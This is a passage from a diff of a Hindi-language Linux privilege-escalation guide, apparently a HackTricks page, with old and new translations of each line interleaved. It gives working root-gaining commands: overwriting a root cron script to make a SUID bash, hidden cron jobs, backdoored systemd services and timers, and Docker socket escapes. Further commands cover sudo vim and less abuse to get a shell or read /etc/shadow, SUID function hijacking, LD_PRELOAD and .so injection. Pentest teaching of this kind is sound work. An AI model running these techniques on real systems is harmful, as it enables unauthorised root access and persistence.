जाता है, तो आप बहुत आसानी से एक शेल प्राप्त कर सकते हैं: +यदि आप **एक क्रोन स्क्रिप्ट को संशोधित कर सकते हैं** जो रूट द्वारा निष्पादित होती है, तो आप बहुत आसानी से एक शेल प्राप्त कर सकते हैं: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed @@ -368,11 +370,11 @@ ln -d -s ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**आप भी** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **का उपयोग कर सकते हैं** (यह हर प्रक्रिया की निगरानी करेगा और सूचीबद्ध करेगा जो शुरू होती है)। +**आप भी उपयोग कर सकते हैं** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (यह हर प्रक्रिया की निगरानी करेगा और सूचीबद्ध करेगा जो शुरू होती है)। ### अदृश्य क्रोन जॉब्स -एक क्रोनजॉब **एक टिप्पणी के बाद कैरिज रिटर्न डालकर** (बिना न्यूलाइन कैरेक्टर के) बनाना संभव है, और क्रोन जॉब काम करेगा। उदाहरण (कैरिज रिटर्न कैरेक्टर पर ध्यान दें): +यह संभव है कि एक क्रोनजॉब **एक टिप्पणी के बाद कैरिज रिटर्न डालकर** (बिना न्यूलाइन कैरेक्टर के) बनाया जाए, और क्रोन जॉब काम करेगा। उदाहरण (कैरिज रिटर्न कैरेक्टर पर ध्यान दें): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -380,7 +382,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Writable _.service_ files -जांचें कि क्या आप किसी `.service` फ़ाइल को लिख सकते हैं, यदि आप कर सकते हैं, तो आप इसे **संशोधित कर सकते हैं** ताकि यह **आपका बैकडोर चलाए** जब सेवा **शुरू**, **पुनः प्रारंभ** या **रोक दी जाए** (शायद आपको मशीन के पुनरारंभ होने का इंतजार करना पड़े)।\ +जांचें कि क्या आप किसी `.service` फ़ाइल को लिख सकते हैं, यदि आप कर सकते हैं, तो आप इसे **संशोधित कर सकते हैं** ताकि यह **आपका बैकडोर चलाए** जब सेवा **शुरू**, **पुनः प्रारंभ** या **रोक दी जाए** (शायद आपको मशीन के पुनरारंभ होने तक इंतजार करना पड़े)।\ उदाहरण के लिए, .service फ़ाइल के अंदर अपने बैकडोर को **`ExecStart=/tmp/script.sh`** के साथ बनाएं। ### Writable service binaries @@ -399,7 +401,7 @@ ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -फिर, एक **executables** बनाएं जिसका **नाम उस सापेक्ष पथ बाइनरी** के समान हो जो systemd PATH फ़ोल्डर के अंदर है जिसमें आप लिख सकते हैं, और जब सेवा को कमजोर क्रिया (**Start**, **Stop**, **Reload**) को निष्पादित करने के लिए कहा जाता है, तो आपका **backdoor निष्पादित होगा** (अधिकारहीन उपयोगकर्ता आमतौर पर सेवाओं को शुरू/रोक नहीं सकते लेकिन जांचें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)। +फिर, एक **कार्यकारी** बनाएं जिसका **नाम उस सापेक्ष पथ बाइनरी** के समान हो जो systemd PATH फ़ोल्डर के अंदर है जिसमें आप लिख सकते हैं, और जब सेवा को कमजोर क्रिया (**Start**, **Stop**, **Reload**) को निष्पादित करने के लिए कहा जाता है, तो आपका **बैकडोर निष्पादित होगा** (अधिकारहीन उपयोगकर्ता आमतौर पर सेवाओं को शुरू/रोक नहीं सकते लेकिन जांचें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)। **सेवाओं के बारे में अधिक जानें `man systemd.service` के साथ।** @@ -413,24 +415,24 @@ systemctl list-timers --all ``` ### Writable timers -यदि आप एक टाइमर को संशोधित कर सकते हैं, तो आप इसे systemd.unit के कुछ अस्तित्वों (जैसे `.service` या `.target`) को निष्पादित करने के लिए बना सकते हैं। +यदि आप एक टाइमर को संशोधित कर सकते हैं, तो आप इसे systemd.unit के कुछ उदाहरणों (जैसे `.service` या `.target`) को निष्पादित करने के लिए बना सकते हैं। ```bash Unit=backdoor.service ``` डॉक्यूमेंटेशन में आप पढ़ सकते हैं कि यूनिट क्या है: -> जब यह टाइमर समाप्त होता है, तो सक्रिय करने के लिए यूनिट। तर्क एक यूनिट नाम है, जिसका उपसर्ग ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उस सेवा का डिफ़ॉल्ट होता है जिसका नाम टाइमर यूनिट के समान होता है, केवल उपसर्ग को छोड़कर। (ऊपर देखें।) यह अनुशंसा की जाती है कि सक्रिय की जाने वाली यूनिट का नाम और टाइमर यूनिट का नाम समान रूप से नामित किया जाए, केवल उपसर्ग को छोड़कर। +> वह यूनिट जिसे सक्रिय करना है जब यह टाइमर समाप्त होता है। तर्क एक यूनिट नाम है, जिसका उपसर्ग ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उस सेवा का डिफ़ॉल्ट होता है जिसका नाम टाइमर यूनिट के समान होता है, केवल उपसर्ग को छोड़कर। (ऊपर देखें।) यह अनुशंसा की जाती है कि सक्रिय की जाने वाली यूनिट का नाम और टाइमर यूनिट का नाम समान रूप से नामित किया जाए, केवल उपसर्ग को छोड़कर। इसलिए, इस अनुमति का दुरुपयोग करने के लिए आपको चाहिए: - कुछ systemd यूनिट (जैसे `.service`) खोजें जो **एक लिखने योग्य बाइनरी** को **निष्पादित** कर रही है - कुछ systemd यूनिट खोजें जो **एक सापेक्ष पथ** को **निष्पादित** कर रही है और आपके पास **systemd PATH** पर **लिखने की अनुमति** है (उस निष्पादन योग्य की नकल करने के लिए) -**`man systemd.timer` के साथ टाइमर्स के बारे में अधिक जानें।** +**टाइमर्स के बारे में अधिक जानें `man systemd.timer` के साथ।** ### **टाइमर सक्षम करना** -टाइमर को सक्षम करने के लिए आपको रूट अनुमतियों की आवश्यकता है और निष्पादित करना होगा: +टाइमर को सक्षम करने के लिए आपको रूट अनुमतियाँ चाहिए और निष्पादित करना होगा: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -439,17 +441,17 @@ Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd ## Sockets -Unix Domain Sockets (UDS) **प्रक्रिया संचार** को एक ही या विभिन्न मशीनों पर क्लाइंट-सरवर मॉडल के भीतर सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए मानक Unix डिस्क्रिप्टर फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेट अप किए जाते हैं। +Unix Domain Sockets (UDS) **प्रक्रिया संचार** को समान या विभिन्न मशीनों पर क्लाइंट-सेर्वर मॉडल के भीतर सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए मानक Unix डिस्क्रिप्टर फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेट अप किए जाते हैं। Sockets को `.socket` फ़ाइलों का उपयोग करके कॉन्फ़िगर किया जा सकता है। -**`man systemd.socket` के साथ सॉकेट के बारे में अधिक जानें।** इस फ़ाइल के अंदर, कई दिलचस्प पैरामीटर कॉन्फ़िगर किए जा सकते हैं: +**सॉकेट के बारे में अधिक जानें `man systemd.socket` के साथ।** इस फ़ाइल के अंदर, कई दिलचस्प पैरामीटर कॉन्फ़िगर किए जा सकते हैं: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं लेकिन एक सारांश का उपयोग **यह इंगित करने के लिए किया जाता है कि यह सॉकेट पर कहां सुनने जा रहा है** (AF_UNIX सॉकेट फ़ाइल का पथ, सुनने के लिए IPv4/6 और/या पोर्ट नंबर, आदि) -- `Accept`: एक बूलियन तर्क लेता है। यदि **सत्य**, तो **प्रत्येक आने वाले कनेक्शन के लिए एक सेवा उदाहरण उत्पन्न होता है** और केवल कनेक्शन सॉकेट इसे पास किया जाता है। यदि **असत्य**, तो सभी सुनने वाले सॉकेट स्वयं **शुरू की गई सेवा इकाई** को पास किए जाते हैं, और सभी कनेक्शनों के लिए केवल एक सेवा इकाई उत्पन्न होती है। यह मान डेटाग्राम सॉकेट और FIFOs के लिए अनदेखा किया जाता है जहां एकल सेवा इकाई बिना शर्त सभी आने वाले ट्रैफ़िक को संभालती है। **डिफ़ॉल्ट रूप से असत्य**। प्रदर्शन कारणों से, नए डेमनों को केवल `Accept=no` के लिए उपयुक्त तरीके से लिखने की सिफारिश की जाती है। -- `ExecStartPre`, `ExecStartPost`: एक या एक से अधिक कमांड लाइनों को लेता है, जो **सुनने वाले** **सॉकेट**/FIFOs के **निर्माण** और बंधन से पहले या बाद में **निष्पादित** होते हैं। कमांड लाइन का पहला टोकन एक पूर्ण फ़ाइल नाम होना चाहिए, इसके बाद प्रक्रिया के लिए तर्क होते हैं। -- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **कमांड** जो **सुनने वाले** **सॉकेट**/FIFOs के **बंद** और हटाए जाने से पहले या बाद में **निष्पादित** होते हैं। -- `Service`: **आने वाले ट्रैफ़िक** पर **सक्रिय करने** के लिए **सेवा** इकाई नाम निर्दिष्ट करता है। यह सेटिंग केवल उन सॉकेट्स के लिए अनुमति है जिनका Accept=no है। यह उस सेवा के लिए डिफ़ॉल्ट है जिसका नाम सॉकेट के समान है (स suffix को प्रतिस्थापित किया गया है)। अधिकांश मामलों में, इस विकल्प का उपयोग करना आवश्यक नहीं होना चाहिए। +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं लेकिन एक सारांश का उपयोग **यह इंगित करने के लिए किया जाता है कि यह सॉकेट पर कहाँ सुनने जा रहा है** (AF_UNIX सॉकेट फ़ाइल का पथ, सुनने के लिए IPv4/6 और/या पोर्ट नंबर, आदि) +- `Accept`: एक बूलियन तर्क लेता है। यदि **सत्य**, तो **प्रत्येक आने वाले कनेक्शन के लिए एक सेवा उदाहरण उत्पन्न होता है** और केवल कनेक्शन सॉकेट इसे पास किया जाता है। यदि **झूठ**, तो सभी सुनने वाले सॉकेट स्वयं **शुरू की गई सेवा इकाई** को पास किए जाते हैं, और सभी कनेक्शनों के लिए केवल एक सेवा इकाई उत्पन्न होती है। यह मान डाटाग्राम सॉकेट और FIFOs के लिए अनदेखा किया जाता है जहाँ एकल सेवा इकाई बिना शर्त सभी आने वाले ट्रैफ़िक को संभालती है। **डिफ़ॉल्ट रूप से झूठा**। प्रदर्शन कारणों से, नए डेमनों को केवल इस तरीके से लिखने की सिफारिश की जाती है जो `Accept=no` के लिए उपयुक्त हो। +- `ExecStartPre`, `ExecStartPost`: एक या एक से अधिक कमांड लाइनों को लेता है, जो **सुनने वाले** **सॉकेट**/FIFOs के **निर्माण** और बंधन से पहले या बाद में **निष्पादित** किए जाते हैं। कमांड लाइन का पहला टोकन एक पूर्ण फ़ाइल नाम होना चाहिए, उसके बाद प्रक्रिया के लिए तर्क होते हैं। +- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **कमांड** जो **सुनने वाले** **सॉकेट**/FIFOs के **बंद** और हटाए जाने से पहले या बाद में **निष्पादित** किए जाते हैं। +- `Service`: **आने वाले ट्रैफ़िक** पर **सक्रिय करने** के लिए **सेवा** इकाई नाम निर्दिष्ट करता है। यह सेटिंग केवल उन सॉकेट्स के लिए अनुमति है जिनका Accept=no है। यह उस सेवा के लिए डिफ़ॉल्ट है जिसका नाम सॉकेट के समान है (स suffixed को प्रतिस्थापित किया गया है)। अधिकांश मामलों में, इस विकल्प का उपयोग करना आवश्यक नहीं होना चाहिए। ### Writable .socket files @@ -458,7 +460,7 @@ _ध्यान दें कि सिस्टम को उस सॉके ### Writable sockets -यदि आप **कोई लिखने योग्य सॉकेट पहचानते हैं** (_अब हम Unix Sockets की बात कर रहे हैं और config `.socket` फ़ाइलों की नहीं_), तो **आप उस सॉकेट के साथ संवाद कर सकते हैं** और शायद एक भेद्यता का शोषण कर सकते हैं। +यदि आप **किसी भी लिखने योग्य सॉकेट की पहचान करते हैं** (_अब हम Unix Sockets के बारे में बात कर रहे हैं और कॉन्फ़िगरेशन `.socket` फ़ाइलों के बारे में नहीं_), तो **आप उस सॉकेट के साथ संवाद कर सकते हैं** और शायद एक भेद्यता का शोषण कर सकते हैं। ### Enumerate Unix Sockets ```bash @@ -475,25 +477,26 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of ``` **शोषण उदाहरण:** + {{#ref}} socket-command-injection.md {{#endref}} ### HTTP सॉकेट -ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की जो यूनिक्स सॉकेट के रूप में कार्य कर रही हैं_)। आप इसे इस तरह जांच सकते हैं: +ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की बात कर रहा हूँ जो यूनिक्स सॉकेट के रूप में कार्य करती हैं_)। आप इसे इस तरह जांच सकते हैं: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` यदि सॉकेट **HTTP** अनुरोध के साथ **प्रतिक्रिया** करता है, तो आप इसके साथ **संवाद** कर सकते हैं और शायद **कुछ कमजोरियों का लाभ** उठा सकते हैं। -### लिखने योग्य डॉकर सॉकेट +### Writable Docker Socket -डॉकर सॉकेट, जो अक्सर `/var/run/docker.sock` पर पाया जाता है, एक महत्वपूर्ण फ़ाइल है जिसे सुरक्षित किया जाना चाहिए। डिफ़ॉल्ट रूप से, यह `root` उपयोगकर्ता और `docker` समूह के सदस्यों द्वारा लिखा जा सकता है। इस सॉकेट तक लिखने की पहुंच होना विशेषाधिकार वृद्धि का कारण बन सकता है। यहाँ बताया गया है कि यह कैसे किया जा सकता है और वैकल्पिक तरीके यदि डॉकर CLI उपलब्ध नहीं है। +Docker सॉकेट, जो अक्सर `/var/run/docker.sock` पर पाया जाता है, एक महत्वपूर्ण फ़ाइल है जिसे सुरक्षित किया जाना चाहिए। डिफ़ॉल्ट रूप से, यह `root` उपयोगकर्ता और `docker` समूह के सदस्यों द्वारा लिखा जा सकता है। इस सॉकेट तक लेखन पहुंच होना विशेषाधिकार वृद्धि का कारण बन सकता है। यहाँ बताया गया है कि यह कैसे किया जा सकता है और वैकल्पिक तरीके यदि Docker CLI उपलब्ध नहीं है। -#### **डॉकर CLI के साथ विशेषाधिकार वृद्धि** +#### **Privilege Escalation with Docker CLI** -यदि आपके पास डॉकर सॉकेट तक लिखने की पहुंच है, तो आप निम्नलिखित कमांड का उपयोग करके विशेषाधिकार बढ़ा सकते हैं: +यदि आपके पास Docker सॉकेट तक लेखन पहुंच है, तो आप निम्नलिखित कमांड का उपयोग करके विशेषाधिकार बढ़ा सकते हैं: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh @@ -540,14 +543,16 @@ Upgrade: tcp **डॉकर से बाहर निकलने या इसे अधिकार बढ़ाने के लिए दुरुपयोग करने के अधिक तरीकों की जाँच करें**: + {{#ref}} docker-security/ {{#endref}} -## कंटेनरडी (ctr) अधिकार बढ़ाना +## Containerd (ctr) अधिकार बढ़ाना यदि आप पाते हैं कि आप **`ctr`** कमांड का उपयोग कर सकते हैं तो कृपया निम्नलिखित पृष्ठ पढ़ें क्योंकि **आप इसे अधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**: + {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} @@ -556,19 +561,20 @@ containerd-ctr-privilege-escalation.md यदि आप पाते हैं कि आप **`runc`** कमांड का उपयोग कर सकते हैं तो कृपया निम्नलिखित पृष्ठ पढ़ें क्योंकि **आप इसे अधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**: + {{#ref}} runc-privilege-escalation.md {{#endref}} ## **D-Bus** -D-Bus एक जटिल **इंटर-प्रोसेस कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को कुशलता से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। आधुनिक लिनक्स सिस्टम को ध्यान में रखते हुए डिज़ाइन किया गया, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है। +D-Bus एक जटिल **इंटर-प्रोसेस कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को प्रभावी ढंग से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। इसे आधुनिक लिनक्स सिस्टम को ध्यान में रखते हुए डिज़ाइन किया गया है, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है। -यह प्रणाली बहुपरकारी है, जो प्रक्रियाओं के बीच डेटा विनिमय को बढ़ाने के लिए बुनियादी IPC का समर्थन करती है, जो **सुधारित UNIX डोमेन सॉकेट्स** की याद दिलाती है। इसके अलावा, यह घटनाओं या संकेतों का प्रसारण करने में मदद करती है, जिससे सिस्टम घटकों के बीच निर्बाध एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, एक इनकमिंग कॉल के बारे में ब्लूटूथ डेमन से एक संकेत एक म्यूजिक प्लेयर को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव में सुधार होता है। इसके अतिरिक्त, D-Bus एक दूरस्थ ऑब्जेक्ट सिस्टम का समर्थन करता है, जो अनुप्रयोगों के बीच सेवा अनुरोधों और विधि कॉल को सरल बनाता है, पारंपरिक रूप से जटिल प्रक्रियाओं को सुगम बनाता है। +यह प्रणाली बहुपरकारी है, जो प्रक्रियाओं के बीच डेटा विनिमय को बढ़ाने के लिए बुनियादी IPC का समर्थन करती है, जो **सुधारित UNIX डोमेन सॉकेट्स** की याद दिलाती है। इसके अलावा, यह घटनाओं या संकेतों का प्रसारण करने में मदद करती है, जिससे सिस्टम घटकों के बीच निर्बाध एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, एक आने वाली कॉल के बारे में ब्लूटूथ डेमन से एक संकेत एक संगीत प्लेयर को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव में सुधार होता है। इसके अतिरिक्त, D-Bus एक दूरस्थ ऑब्जेक्ट सिस्टम का समर्थन करता है, जो अनुप्रयोगों के बीच सेवा अनुरोधों और विधि कॉल को सरल बनाता है, पारंपरिक रूप से जटिल प्रक्रियाओं को सुगम बनाता है। -D-Bus एक **अनुमति/निषेध मॉडल** पर काम करता है, जो संदेश अनुमतियों (विधि कॉल, संकेत उत्सर्जन, आदि) का प्रबंधन करता है जो नीति नियमों के मिलान के संचयी प्रभाव के आधार पर होता है। ये नीतियाँ बस के साथ इंटरैक्शन को निर्दिष्ट करती हैं, जो इन अनुमतियों के शोषण के माध्यम से अधिकार बढ़ाने की अनुमति दे सकती हैं। +D-Bus एक **अनुमति/निषेध मॉडल** पर काम करता है, जो संदेश अनुमतियों (विधि कॉल, संकेत उत्सर्जन, आदि) का प्रबंधन करता है जो नीति नियमों के मिलन के संचयी प्रभाव के आधार पर होता है। ये नीतियाँ बस के साथ इंटरैक्शन को निर्दिष्ट करती हैं, जो संभावित रूप से इन अनुमतियों के शोषण के माध्यम से अधिकार बढ़ाने की अनुमति देती हैं। -`/etc/dbus-1/system.d/wpa_supplicant.conf` में ऐसी नीति का एक उदाहरण दिया गया है, जो रूट उपयोगकर्ता के लिए `fi.w1.wpa_supplicant1` से संदेश भेजने, प्राप्त करने और स्वामित्व रखने की अनुमति को विस्तृत करता है। +`/etc/dbus-1/system.d/wpa_supplicant.conf` में ऐसी नीति का एक उदाहरण प्रदान किया गया है, जो रूट उपयोगकर्ता के लिए `fi.w1.wpa_supplicant1` से संदेश भेजने, प्राप्त करने और स्वामित्व करने की अनुमति को विस्तृत करता है। बिना निर्दिष्ट उपयोगकर्ता या समूह वाली नीतियाँ सार्वभौमिक रूप से लागू होती हैं, जबकि "डिफ़ॉल्ट" संदर्भ नीतियाँ उन सभी पर लागू होती हैं जो अन्य विशिष्ट नीतियों द्वारा कवर नहीं की गई हैं। ```xml @@ -581,6 +587,7 @@ D-Bus एक **अनुमति/निषेध मॉडल** पर का ``` **यहाँ D-Bus संचार को सूचीबद्ध करने और शोषण करने का तरीका सीखें:** + {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} @@ -653,13 +660,14 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -कुछ Linux संस्करणों को एक बग से प्रभावित किया गया था जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674).\ +कुछ Linux संस्करण एक बग से प्रभावित थे जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674)।\ **इसे एक्सप्लॉइट करें**: **`systemd-run -t /bin/bash`** ### Groups जांचें कि क्या आप किसी **समूह के सदस्य** हैं जो आपको रूट विशेषाधिकार दे सकता है: + {{#ref}} interesting-groups-linux-pe/ {{#endref}} @@ -688,17 +696,17 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ### Su Brute यदि आपको बहुत शोर करने में कोई आपत्ति नहीं है और `su` और `timeout` बाइनरी कंप्यूटर पर मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce) का उपयोग करके उपयोगकर्ता को ब्रूट-फोर्स करने का प्रयास कर सकते हैं।\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) के साथ `-a` पैरामीटर भी उपयोगकर्ताओं को ब्रूट-फोर्स करने का प्रयास करता है। +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` पैरामीटर के साथ भी उपयोगकर्ताओं को ब्रूट-फोर्स करने का प्रयास करता है। ## लिखने योग्य PATH का दुरुपयोग ### $PATH -यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** में सक्षम हो सकते हैं जिसका नाम किसी कमांड के समान है जिसे एक अलग उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं होता है** $PATH में। +यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** के द्वारा विशेषाधिकार बढ़ा सकते हैं, जिसका नाम किसी कमांड का हो जो किसी अन्य उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं होता** है। ### SUDO और SUID -आपको sudo का उपयोग करके कुछ कमांड निष्पादित करने की अनुमति दी जा सकती है या उनके पास suid बिट हो सकता है। इसे जांचें: +आपको sudo का उपयोग करके कुछ कमांड निष्पादित करने की अनुमति दी जा सकती है या उनके पास suid बिट हो सकता है। इसे जांचने के लिए: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -720,13 +728,13 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -इस उदाहरण में उपयोगकर्ता `demo` `root` के रूप में `vim` चला सकता है, अब रूट निर्देशिका में एक ssh कुंजी जोड़कर या `sh` को कॉल करके एक शेल प्राप्त करना सरल है। +इस उदाहरण में उपयोगकर्ता `demo` `root` के रूप में `vim` चला सकता है, अब रूट निर्देशिका में एक ssh कुंजी जोड़कर या `sh` को कॉल करके एक शेल प्राप्त करना तुच्छ है। ``` sudo vim -c '!sh' ``` ### SETENV -यह निर्देश उपयोगकर्ता को **एक पर्यावरण चर सेट करने** की अनुमति देता है जबकि कुछ निष्पादित करते समय: +यह निर्देश उपयोगकर्ता को **एक वातावरण चर सेट करने** की अनुमति देता है जबकि कुछ निष्पादित कर रहा है: ```bash $ sudo -l User waldo may run the following commands on admirer: @@ -748,7 +756,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -यदि **wildcard** का उपयोग किया जाता है (\*), तो यह और भी आसान है: +यदि **वाइल्डकार्ड** (\*) का उपयोग किया जाता है, तो यह और भी आसान है: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files @@ -769,9 +777,9 @@ sudo less ### कमांड पथ के साथ SUID बाइनरी -यदि **suid** बाइनरी **पथ निर्दिष्ट करते हुए किसी अन्य कमांड को निष्पादित करती है**, तो आप उस कमांड के नाम से एक **फंक्शन** बनाने और उसे एक्सपोर्ट करने की कोशिश कर सकते हैं जिसे suid फ़ाइल कॉल कर रही है। +यदि **suid** बाइनरी **पथ निर्दिष्ट करते हुए किसी अन्य कमांड को निष्पादित करती है**, तो आप उस कमांड के नाम से एक **फंक्शन** निर्यात करने की कोशिश कर सकते हैं जिसे suid फ़ाइल कॉल कर रही है। -उदाहरण के लिए, यदि एक suid बाइनरी _**/usr/sbin/service apache2 start**_ को कॉल करती है, तो आपको फंक्शन बनाने और उसे एक्सपोर्ट करने की कोशिश करनी चाहिए: +उदाहरण के लिए, यदि एक suid बाइनरी _**/usr/sbin/service apache2 start**_ को कॉल करती है, तो आपको फंक्शन बनाने और उसे निर्यात करने की कोशिश करनी चाहिए: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -787,7 +795,7 @@ export -f /usr/sbin/service - लोडर उन निष्पादन योग्य के लिए **LD_PRELOAD** की अनदेखी करता है जहाँ वास्तविक उपयोगकर्ता आईडी (_ruid_) प्रभावी उपयोगकर्ता आईडी (_euid_) से मेल नहीं खाती। - suid/sgid वाले निष्पादन योग्य के लिए, केवल मानक पथों में पुस्तकालयों को प्रीलोड किया जाता है जो भी suid/sgid होते हैं। -अधिकार वृद्धि तब हो सकती है जब आपके पास `sudo` के साथ कमांड निष्पादित करने की क्षमता हो और `sudo -l` का आउटपुट **env_keep+=LD_PRELOAD** कथन को शामिल करता हो। यह कॉन्फ़िगरेशन **LD_PRELOAD** पर्यावरण चर को बनाए रखने और इसे मान्यता प्राप्त करने की अनुमति देता है, भले ही कमांड `sudo` के साथ चलाए जाएं, संभावित रूप से उच्चाधिकारों के साथ मनमाने कोड के निष्पादन की ओर ले जा सकता है। +अधिकार वृद्धि तब हो सकती है जब आपके पास `sudo` के साथ कमांड निष्पादित करने की क्षमता हो और `sudo -l` का आउटपुट **env_keep+=LD_PRELOAD** कथन को शामिल करता हो। यह कॉन्फ़िगरेशन **LD_PRELOAD** पर्यावरण चर को बनाए रखने और इसे मान्यता प्राप्त करने की अनुमति देता है, भले ही कमांड `sudo` के साथ चलाए जाएं, जो संभावित रूप से उच्चाधिकारों के साथ मनमाने कोड के निष्पादन की ओर ले जा सकता है। ``` Defaults env_keep += LD_PRELOAD ``` @@ -836,11 +844,11 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID बाइनरी – .so इंजेक्शन -जब किसी बाइनरी में **SUID** अनुमतियाँ असामान्य लगती हैं, तो यह सुनिश्चित करना एक अच्छा अभ्यास है कि यह **.so** फ़ाइलें सही तरीके से लोड कर रही है। इसे निम्नलिखित कमांड चलाकर जांचा जा सकता है: +जब किसी बाइनरी में **SUID** अनुमतियाँ असामान्य लगती हैं, तो यह सुनिश्चित करना एक अच्छा अभ्यास है कि यह **.so** फ़ाइलें सही ढंग से लोड कर रही है। इसे निम्नलिखित कमांड चलाकर जांचा जा सकता है: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -उदाहरण के लिए, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (कोई ऐसा फ़ाइल या निर्देशिका नहीं)"_ जैसी त्रुटि का सामना करना संभावित शोषण का संकेत देती है। +उदाहरण के लिए, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (कोई ऐसा फ़ाइल या निर्देशिका नहीं)"_ जैसी त्रुटि का सामना करना शोषण की संभावना का सुझाव देती है। इसका शोषण करने के लिए, कोई एक C फ़ाइल बनाएगा, जैसे _"/path/to/.config/libcalc.c"_, जिसमें निम्नलिखित कोड होगा: ```c @@ -859,7 +867,7 @@ system("cp /bin/bash /tmp/bash 